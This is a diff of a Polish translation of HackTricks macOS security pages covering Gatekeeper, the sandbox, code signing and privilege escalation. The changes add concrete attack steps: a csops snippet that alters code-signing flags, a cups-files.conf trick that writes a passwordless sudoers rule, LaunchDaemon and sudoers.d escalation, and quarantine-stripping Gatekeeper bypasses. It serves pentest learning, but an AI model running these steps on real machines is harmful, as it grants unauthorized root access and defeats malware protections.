+### Usuń to ```bash xattr -d com.apple.quarantine /path/to/file_or_app ``` @@ -142,7 +152,28 @@ Nie jest to naprawdę potrzebne, ale zostawiam to na wszelki wypadek: macos-xattr-acls-extra-stuff.md {{#endref}} -## Ominięcie Podpisów Kodu +## Ominięcie kontroli podpisów + +### Ominięcie kontroli binarnych platform + +Niektóre kontrole bezpieczeństwa sprawdzają, czy binarny plik jest **binarnym plikiem platformy**, na przykład, aby umożliwić połączenie z usługą XPC. Jednak, jak pokazano w omijaniu w https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, możliwe jest ominięcie tej kontroli, uzyskując binarny plik platformy (tak jak /bin/ls) i wstrzykując exploit za pomocą dyld, używając zmiennej środowiskowej `DYLD_INSERT_LIBRARIES`. + +### Ominięcie flag `CS_REQUIRE_LV` i `CS_FORCED_LV` + +Możliwe jest, aby wykonywany binarny plik zmodyfikował swoje własne flagi, aby ominąć kontrole za pomocą kodu takiego jak: +```c +// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ +int pid = getpid(); +NSString *exePath = NSProcessInfo.processInfo.arguments[0]; + +uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +status |= 0x2000; // CS_REQUIRE_LV +csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS + +status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); +``` +## Ominięcie Podpisów Kodów Bundles zawierają plik **`_CodeSignature/CodeResources`**, który zawiera **hash** każdego pojedynczego **pliku** w **bundle**. Należy zauważyć, że hash CodeResources jest również **osadzony w wykonywalnym**, więc nie możemy tego zepsuć. @@ -230,7 +261,7 @@ Możesz **sfałszować** wykonanie tego skryptu za pomocą: **`sudo periodic dai ### Demony -Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** z plikiem plist wykonującym dowolny skrypt jak: +Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** z plist wykonującym dowolny skrypt jak: ```xml @@ -247,21 +278,41 @@ Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.pri ``` -Wygeneruj skrypt `/Applications/Scripts/privesc.sh` z **komendami**, które chciałbyś uruchomić jako root. +Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root. -### Plik Sudoers +### Sudoers File -Jeśli masz **dowolny zapis**, możesz utworzyć plik w folderze **`/etc/sudoers.d/`**, przyznając sobie **uprawnienia sudo**. +If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges. -### Pliki PATH +### PATH files -Plik **`/etc/paths`** jest jednym z głównych miejsc, które wypełniają zmienną środowiskową PATH. Musisz być root, aby go nadpisać, ale jeśli skrypt z **uprzywilejowanego procesu** wykonuje jakąś **komendę bez pełnej ścieżki**, możesz być w stanie **przejąć** ją, modyfikując ten plik. +The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file. -Możesz również pisać pliki w **`/etc/paths.d`**, aby załadować nowe foldery do zmiennej środowiskowej `PATH`. +You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable. -## Generowanie plików zapisywalnych jako inni użytkownicy +### cups-files.conf -To wygeneruje plik, który należy do roota i jest zapisywalny przez mnie ([**kod stąd**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). To może również działać jako privesc: +Ta technika została użyta w [this writeup](https://www.kandji.io/blog/macos-audit-story-part1). + +Create the file `/etc/cups/cups-files.conf` with the following content: +``` +ErrorLog /etc/sudoers.d/lpe +LogFilePerm 777 + +``` +To utworzy plik `/etc/sudoers.d/lpe` z uprawnieniami 777. Dodatkowy śmieć na końcu służy do wywołania utworzenia logu błędów. + +Następnie, zapisz w `/etc/sudoers.d/lpe` potrzebną konfigurację do eskalacji uprawnień, taką jak `%staff ALL=(ALL) NOPASSWD:ALL`. + +Następnie, zmodyfikuj plik `/etc/cups/cups-files.conf`, ponownie wskazując `LogFilePerm 700`, aby nowy plik sudoers stał się ważny, wywołując `cupsctl`. + +### Sandbox Escape + +Możliwe jest ucieczka z sandboxa macOS za pomocą FS arbitrary write. Dla niektórych przykładów sprawdź stronę [macOS Auto Start](../../../../macos-auto-start-locations.md), ale powszechnym przypadkiem jest zapisanie pliku preferencji Terminala w `~/Library/Preferences/com.apple.Terminal.plist`, który wykonuje polecenie przy starcie i wywołuje je za pomocą `open`. + +## Generate writable files as other users + +To wygeneruje plik, który należy do roota, a który jest zapisywalny przeze mnie ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). To może również działać jako privesc: ```bash DIRNAME=/usr/local/etc/periodic/daily diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index be9ece401..7278c04cf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -2,29 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Gatekeeper -**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, zaprojektowana w celu zapewnienia, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł spoza App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny. +**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, zaprojektowana w celu zapewnienia, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł zewnętrznych do App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny. -Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznanego dewelopera**, co zapewnia autentyczność oprogramowania. Ponadto ustala, czy oprogramowanie jest **notaryzowane przez Apple**, potwierdzając, że nie zawiera znanej złośliwej zawartości i nie zostało zmienione po notaryzacji. +Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznanego dewelopera**, co zapewnia autentyczność oprogramowania. Ponadto ustala, czy oprogramowanie jest **notaryzowane przez Apple**, potwierdzając, że nie zawiera znanej złośliwej zawartości i nie zostało zmodyfikowane po notaryzacji. -Dodatkowo, Gatekeeper wzmacnia kontrolę i bezpieczeństwo użytkownika, **prosząc użytkowników o zatwierdzenie otwarcia** pobranego oprogramowania po raz pierwszy. To zabezpieczenie pomaga zapobiegać przypadkowemu uruchomieniu przez użytkowników potencjalnie szkodliwego kodu wykonywalnego, który mogli pomylić z nieszkodliwym plikiem danych. +Dodatkowo, Gatekeeper wzmacnia kontrolę i bezpieczeństwo użytkownika, **prosząc użytkowników o zatwierdzenie otwarcia** pobranego oprogramowania po raz pierwszy. To zabezpieczenie pomaga zapobiegać przypadkowemu uruchamianiu przez użytkowników potencjalnie szkodliwego kodu wykonywalnego, który mogli pomylić z nieszkodliwym plikiem danych. ### Podpisy aplikacji -Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury zabezpieczeń Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz do zapewnienia, że kod nie został zmieniony od momentu ostatniego podpisania. +Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury zabezpieczeń Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz do zapewnienia, że kod nie został zmodyfikowany od momentu ostatniego podpisania. Oto jak to działa: 1. **Podpisywanie aplikacji:** Gdy deweloper jest gotowy do dystrybucji swojej aplikacji, **podpisuje aplikację za pomocą klucza prywatnego**. Ten klucz prywatny jest powiązany z **certyfikatem, który Apple wydaje deweloperowi** w momencie rejestracji w Apple Developer Program. Proces podpisywania polega na stworzeniu kryptograficznego skrótu wszystkich części aplikacji i zaszyfrowaniu tego skrótu kluczem prywatnym dewelopera. 2. **Dystrybucja aplikacji:** Podpisana aplikacja jest następnie dystrybuowana do użytkowników wraz z certyfikatem dewelopera, który zawiera odpowiadający klucz publiczny. -3. **Weryfikacja aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, jego system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie aktualnego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od momentu jej podpisania przez dewelopera, a system zezwala na jej uruchomienie. +3. **Weryfikacja aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, jego system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie aktualnego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od momentu jej podpisania przez dewelopera, a system zezwala na uruchomienie aplikacji. -Podpisy aplikacji są istotną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmieniony, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika. +Podpisy aplikacji są istotną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmodyfikowany, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika. Począwszy od macOS Catalina, **Gatekeeper sprawdza również, czy aplikacja została notaryzowana** przez Apple, co dodaje dodatkową warstwę zabezpieczeń. Proces notaryzacji sprawdza aplikację pod kątem znanych problemów z bezpieczeństwem i złośliwego kodu, a jeśli te kontrole przejdą, Apple dodaje bilet do aplikacji, który Gatekeeper może zweryfikować. @@ -49,7 +45,7 @@ codesign -s toolsdemo ``` ### Notaryzacja -Proces notaryzacji Apple'a służy jako dodatkowa ochrona, aby chronić użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **przesłaniu aplikacji przez dewelopera do zbadania** przez **Usługę Notarialną Apple'a**, której nie należy mylić z Przeglądem Aplikacji. Usługa ta jest **automatycznym systemem**, który dokładnie sprawdza przesłane oprogramowanie pod kątem obecności **złośliwej zawartości** oraz wszelkich potencjalnych problemów z podpisywaniem kodu. +Proces notaryzacji Apple'a służy jako dodatkowa ochrona, aby chronić użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **przesłaniu aplikacji przez dewelopera do zbadania** przez **Usługę Notarialną Apple'a**, której nie należy mylić z Przeglądem Aplikacji. Ta usługa to **automatyczny system**, który dokładnie sprawdza przesłane oprogramowanie pod kątem obecności **złośliwej zawartości** oraz wszelkich potencjalnych problemów z podpisywaniem kodu. Jeśli oprogramowanie **przejdzie** tę inspekcję bez wzbudzania jakichkolwiek obaw, Usługa Notarialna generuje bilet notarialny. Deweloper jest następnie zobowiązany do **dołączenia tego biletu do swojego oprogramowania**, co nazywane jest 'przyklejaniem'. Ponadto, bilet notarialny jest również publikowany online, gdzie Gatekeeper, technologia zabezpieczeń Apple'a, może go uzyskać. @@ -72,7 +68,7 @@ GateKeeper sprawdzi, czy zgodnie z **preferencjami i podpisem** binarka może by
-**`syspolicyd`** jest głównym daemonem odpowiedzialnym za egzekwowanie Gatekeeper. Utrzymuje bazę danych znajdującą się w `/var/db/SystemPolicy` i można znaleźć kod wspierający [bazę danych tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) oraz [szablon SQL tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Zauważ, że baza danych nie jest ograniczona przez SIP i jest zapisywalna przez root, a baza danych `/var/db/.SystemPolicy-default` jest używana jako oryginalna kopia zapasowa w przypadku uszkodzenia innej. +**`syspolicyd`** jest głównym demonem odpowiedzialnym za egzekwowanie Gatekeepera. Utrzymuje bazę danych znajdującą się w `/var/db/SystemPolicy` i można znaleźć kod wspierający [bazę danych tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) oraz [szablon SQL tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Zauważ, że baza danych nie jest ograniczona przez SIP i jest zapisywana przez root, a baza danych `/var/db/.SystemPolicy-default` jest używana jako oryginalna kopia zapasowa w przypadku uszkodzenia innej. Ponadto, pakiety **`/var/db/gke.bundle`** i **`/var/db/gkopaque.bundle`** zawierają pliki z regułami, które są wstawiane do bazy danych. Możesz sprawdzić tę bazę danych jako root za pomocą: ```bash @@ -91,7 +87,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an **`syspolicyd`** również udostępnia serwer XPC z różnymi operacjami, takimi jak `assess`, `update`, `record` i `cancel`, które są również dostępne za pomocą **`Security.framework`'s `SecAssessment*`** API, a **`xpctl`** faktycznie komunikuje się z **`syspolicyd`** za pośrednictwem XPC. Zauważ, jak pierwsza zasada kończy się na "**App Store**", a druga na "**Developer ID**" i że w poprzednim obrazie było **włączone wykonywanie aplikacji z App Store i zidentyfikowanych deweloperów**.\ -Jeśli **zmodyfikujesz** to ustawienie na App Store, zasady "**Notarized Developer ID" znikną**. +Jeśli **zmienisz** to ustawienie na App Store, zasady "**Notarized Developer ID" znikną**. Istnieją również tysiące zasad **typu GKE**: ```bash @@ -145,24 +141,24 @@ sudo spctl --enable --label "whitelist" spctl --assess -v /Applications/App.app /Applications/App.app: accepted ``` -Odnośnie **rozszerzeń jądra**, folder `/var/db/SystemPolicyConfiguration` zawiera pliki z listami kextów, które mogą być ładowane. Ponadto, `spctl` ma uprawnienie `com.apple.private.iokit.nvram-csr`, ponieważ jest w stanie dodawać nowe wstępnie zatwierdzone rozszerzenia jądra, które muszą być również zapisane w NVRAM w kluczu `kext-allowed-teams`. +Odnośnie **rozszerzeń jądra**, folder `/var/db/SystemPolicyConfiguration` zawiera pliki z listami kextów, które mogą być ładowane. Ponadto, `spctl` ma uprawnienie `com.apple.private.iokit.nvram-csr`, ponieważ jest w stanie dodawać nowe wcześniej zatwierdzone rozszerzenia jądra, które muszą być również zapisane w NVRAM w kluczu `kext-allowed-teams`. ### Pliki w kwarantannie -Po **pobraniu** aplikacji lub pliku, konkretne aplikacje macOS, takie jak przeglądarki internetowe lub klienci poczty e-mail, **przypisują rozszerzony atrybut pliku**, powszechnie znany jako "**flaga kwarantanny**," do pobranego pliku. Atrybut ten działa jako środek bezpieczeństwa, aby **oznaczyć plik** jako pochodzący z nieznanego źródła (internetu) i potencjalnie niosący ryzyko. Jednak nie wszystkie aplikacje przypisują ten atrybut, na przykład, powszechne oprogramowanie klienckie BitTorrent zazwyczaj omija ten proces. +Po **pobraniu** aplikacji lub pliku, konkretne aplikacje macOS, takie jak przeglądarki internetowe lub klienci poczty e-mail, **przypisują rozszerzony atrybut pliku**, powszechnie znany jako "**flaga kwarantanny**," do pobranego pliku. Atrybut ten działa jako środek bezpieczeństwa, aby **oznaczyć plik** jako pochodzący z nieznanego źródła (internetu) i potencjalnie niosący ryzyko. Jednak nie wszystkie aplikacje przypisują ten atrybut, na przykład, powszechne oprogramowanie klientów BitTorrent zazwyczaj omija ten proces. **Obecność flagi kwarantanny sygnalizuje funkcję zabezpieczeń Gatekeeper w macOS, gdy użytkownik próbuje wykonać plik**. W przypadku, gdy **flaga kwarantanny nie jest obecna** (jak w przypadku plików pobranych za pomocą niektórych klientów BitTorrent), **sprawdzenia Gatekeepera mogą nie być przeprowadzane**. Dlatego użytkownicy powinni zachować ostrożność przy otwieraniu plików pobranych z mniej bezpiecznych lub nieznanych źródeł. -> [!NOTE] > **Sprawdzanie** **ważności** podpisów kodu jest **zasobochłonnym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego zintegrowanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów, pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzania za każdym razem, gdy aplikacja jest uruchamiana**. +> [!NOTE] > **Sprawdzanie** **ważności** podpisów kodu jest **zasobożernym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego powiązanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzania za każdym razem, gdy aplikacja jest uruchamiana**. > > Dlatego te kontrole są **przeprowadzane tylko podczas uruchamiania aplikacji z atrybutem kwarantanny.** > [!WARNING] > Ten atrybut musi być **ustawiony przez aplikację tworzącą/pobierającą** plik. > -> Jednak pliki, które są w piaskownicy, będą miały ten atrybut ustawiony dla każdego pliku, który tworzą. A aplikacje, które nie są w piaskownicy, mogą ustawić go same lub określić klucz [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) w **Info.plist**, co spowoduje, że system ustawi rozszerzony atrybut `com.apple.quarantine` na utworzonych plikach, +> Jednak pliki, które są w piaskownicy, będą miały ten atrybut ustawiony dla każdego pliku, który tworzą. A aplikacje nie będące w piaskownicy mogą ustawić go same lub określić klucz [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) w **Info.plist**, co spowoduje, że system ustawi rozszerzony atrybut `com.apple.quarantine` na utworzonych plikach. Ponadto, wszystkie pliki utworzone przez proces wywołujący **`qtn_proc_apply_to_self`** są kwarantannowane. Lub API **`qtn_file_apply_to_path`** dodaje atrybut kwarantanny do określonej ścieżki pliku. @@ -197,7 +193,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5 # Brave -- App # F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded ``` -Właściwie proces "może ustawić flagi kwarantanny dla plików, które tworzy" (już próbowałem zastosować flagę USER_APPROVED w utworzonym pliku, ale nie udało się jej zastosować): +Właściwie proces "może ustawić flagi kwarantanny dla plików, które tworzy" (już próbowałem zastosować flagę USER_APPROVED w utworzonym pliku, ale nie została zastosowana):
@@ -294,7 +290,7 @@ Używa również kilku MIB: ### XProtect -XProtect to wbudowana funkcja **antymalware** w macOS. XProtect **sprawdza każdą aplikację, gdy jest po raz pierwszy uruchamiana lub modyfikowana w porównaniu do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik przez niektóre aplikacje, takie jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **zapobiegnie uruchomieniu pliku** i powiadomi cię o zagrożeniu. +XProtect to wbudowana funkcja **antywirusowa** w macOS. XProtect **sprawdza każdą aplikację, gdy jest po raz pierwszy uruchamiana lub modyfikowana w porównaniu do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik przez niektóre aplikacje, takie jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **zapobiegnie uruchomieniu pliku** i powiadomi cię o zagrożeniu. Baza danych XProtect jest **regularnie aktualizowana** przez Apple o nowe definicje złośliwego oprogramowania, a te aktualizacje są automatycznie pobierane i instalowane na twoim Macu. Zapewnia to, że XProtect jest zawsze aktualny z najnowszymi znanymi zagrożeniami. @@ -304,7 +300,7 @@ Możesz uzyskać informacje o najnowszej aktualizacji XProtect, uruchamiając: ```bash system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 ``` -XProtect znajduje się w chronionej lokalizacji SIP pod **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, a wewnątrz pakietu można znaleźć informacje, które XProtect wykorzystuje: +XProtect znajduje się w chronionej lokalizacji SIP pod **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, a wewnątrz pakietu można znaleźć informacje, które wykorzystuje XProtect: - **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Pozwala kodowi z tymi cdhashami na używanie starych uprawnień. - **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista wtyczek i rozszerzeń, które są zabronione do załadowania za pomocą BundleID i TeamID lub wskazują minimalną wersję. @@ -320,7 +316,7 @@ Należy zauważyć, że istnieje inna aplikacja w **`/Library/Apple/System/Libra Dlatego wcześniej możliwe było uruchomienie aplikacji, aby zbuforować ją w Gatekeeperze, a następnie **zmodyfikowanie nie wykonywalnych plików aplikacji** (jak pliki Electron asar lub NIB) i jeśli nie było innych zabezpieczeń, aplikacja była **uruchamiana** z **złośliwymi** dodatkami. -Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikacji plików** wewnątrz pakietów aplikacji. Więc jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), odkryjesz, że nie jest już możliwe jego nadużycie, ponieważ po uruchomieniu aplikacji, aby zbuforować ją w Gatekeeperze, nie będziesz mógł zmodyfikować pakietu. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby zbuforować go w Gatekeeperze, spowoduje to błąd i nie zostanie uruchomiony. +Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikacji plików** wewnątrz pakietów aplikacji. Więc, jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), odkryjesz, że nie jest już możliwe jego nadużycie, ponieważ po uruchomieniu aplikacji, aby zbuforować ją w Gatekeeperze, nie będziesz mógł zmodyfikować pakietu. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby zbuforować go w Gatekeeperze, spowoduje to błąd i nie zostanie uruchomiony. ## Obejścia Gatekeepera @@ -328,13 +324,13 @@ Każdy sposób na obejście Gatekeepera (udać się zmusić użytkownika do pobr ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) -Zaobserwowano, że jeśli **Narzędzie archiwizacji** jest używane do ekstrakcji, pliki z **ścieżkami przekraczającymi 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Ta sytuacja niezamierzenie pozwala tym plikom na **obejście zabezpieczeń Gatekeepera**. +Zaobserwowano, że jeśli **Narzędzie archiwum** jest używane do ekstrakcji, pliki z **ścieżkami przekraczającymi 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Ta sytuacja niezamierzenie pozwala tym plikom na **obejście zabezpieczeń Gatekeepera**. Sprawdź [**oryginalny raport**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) po więcej informacji. ### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) -Gdy aplikacja jest tworzona za pomocą **Automatora**, informacje o tym, co jest potrzebne do jej uruchomienia, znajdują się w `application.app/Contents/document.wflow`, a nie w pliku wykonywalnym. Plik wykonywalny to tylko ogólny binarny plik Automatora zwany **Automator Application Stub**. +Gdy aplikacja jest tworzona za pomocą **Automatora**, informacje o tym, co jest potrzebne do jej uruchomienia, znajdują się w `application.app/Contents/document.wflow`, a nie w pliku wykonywalnym. Plik wykonywalny to tylko ogólny plik binarny Automatora zwany **Automator Application Stub**. Dlatego możesz sprawić, że `application.app/Contents/MacOS/Automator\ Application\ Stub` **wskazuje za pomocą linku symbolicznego na inny Automator Application Stub w systemie** i uruchomi to, co znajduje się w `document.wflow` (twój skrypt) **bez wywoływania Gatekeepera**, ponieważ rzeczywisty plik wykonywalny nie ma atrybutu kwarantanny. @@ -369,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` Ponadto, format pliku **AppleDouble** kopiuje plik wraz z jego ACE. -W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że tekstowa reprezentacja ACL przechowywana wewnątrz xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w dekompresowanym pliku. Więc, jeśli skompresowałeś aplikację do pliku zip w formacie **AppleDouble** z ACL, który uniemożliwia zapisanie innych xattr... xattr kwarantanny nie został ustawiony w aplikacji: +W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że tekstowa reprezentacja ACL przechowywana wewnątrz xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w dekompresowanym pliku. Tak więc, jeśli skompresujesz aplikację do pliku zip w formacie **AppleDouble** z ACL, który uniemożliwia zapisanie innych xattr... xattr kwarantanny nie został ustawiony w aplikacji: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -418,7 +414,7 @@ ln -s ._app.dmg s/app/app.dmg echo "[+] compressing files" aa archive -d s/ -o app.aar ``` -### uchg (z tej [prezentacji](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf)) +### uchg (z tego [wykładu](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf)) - Utwórz katalog zawierający aplikację. - Dodaj uchg do aplikacji. @@ -431,8 +427,5 @@ aa archive -d s/ -o app.aar W pakiecie ".app", jeśli atrybut quarantine xattr nie jest do niego dodany, podczas wykonywania **Gatekeeper nie zostanie uruchomiony**. -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index b86daa4e4..61e1ec109 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -4,11 +4,11 @@ ## Podstawowe informacje -MacOS Sandbox (początkowo nazywany Seatbelt) **ogranicza aplikacje** działające w piaskownicy do **dozwolonych działań określonych w profilu Sandbox**, z którym działa aplikacja. Pomaga to zapewnić, że **aplikacja będzie miała dostęp tylko do oczekiwanych zasobów**. +MacOS Sandbox (początkowo nazywany Seatbelt) **ogranicza aplikacje** działające w sandboxie do **dozwolonych działań określonych w profilu Sandbox**, z którym działa aplikacja. Pomaga to zapewnić, że **aplikacja będzie miała dostęp tylko do oczekiwanych zasobów**. -Każda aplikacja z **uprawnieniem** **`com.apple.security.app-sandbox`** będzie uruchamiana w piaskownicy. **Binarne pliki Apple** są zazwyczaj uruchamiane w piaskownicy, a wszystkie aplikacje z **App Store mają to uprawnienie**. Tak więc kilka aplikacji będzie uruchamianych w piaskownicy. +Każda aplikacja z **uprawnieniem** **`com.apple.security.app-sandbox`** będzie uruchamiana w sandboxie. **Binarne pliki Apple** są zazwyczaj uruchamiane w Sandboxie, a wszystkie aplikacje z **App Store mają to uprawnienie**. Tak więc kilka aplikacji będzie uruchamianych w sandboxie. -Aby kontrolować, co proces może lub nie może robić, **Sandbox ma haki** w prawie każdej operacji, którą proces może próbować wykonać (w tym większości wywołań systemowych) przy użyciu **MACF**. Jednak w zależności od **uprawnień** aplikacji, Sandbox może być bardziej pobłażliwy wobec procesu. +Aby kontrolować, co proces może lub nie może robić, **Sandbox ma haki** w prawie każdej operacji, którą proces może próbować wykonać (w tym większości wywołań systemowych) przy użyciu **MACF**. Jednak w zależności od **uprawnień** aplikacji Sandbox może być bardziej liberalny w stosunku do procesu. Niektóre ważne komponenty Sandbox to: @@ -19,7 +19,7 @@ Niektóre ważne komponenty Sandbox to: ### Kontenery -Każda aplikacja działająca w piaskownicy będzie miała swój własny kontener w `~/Library/Containers/{CFBundleIdentifier}` : +Każda aplikacja działająca w sandboxie będzie miała swój własny kontener w `~/Library/Containers/{CFBundleIdentifier}` : ```bash ls -l ~/Library/Containers total 0 @@ -56,7 +56,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp > [!CAUTION] > Zauważ, że nawet jeśli symlinki są tam, aby "uciec" z Sandbox i uzyskać dostęp do innych folderów, aplikacja nadal musi **mieć uprawnienia** do ich dostępu. Te uprawnienia znajdują się w **`.plist`** w `RedirectablePaths`. -**`SandboxProfileData`** to skompilowany profil sandbox CFData zakodowany do B64. +**`SandboxProfileData`** to skompilowany profil sandbox CFData zakodowany w B64. 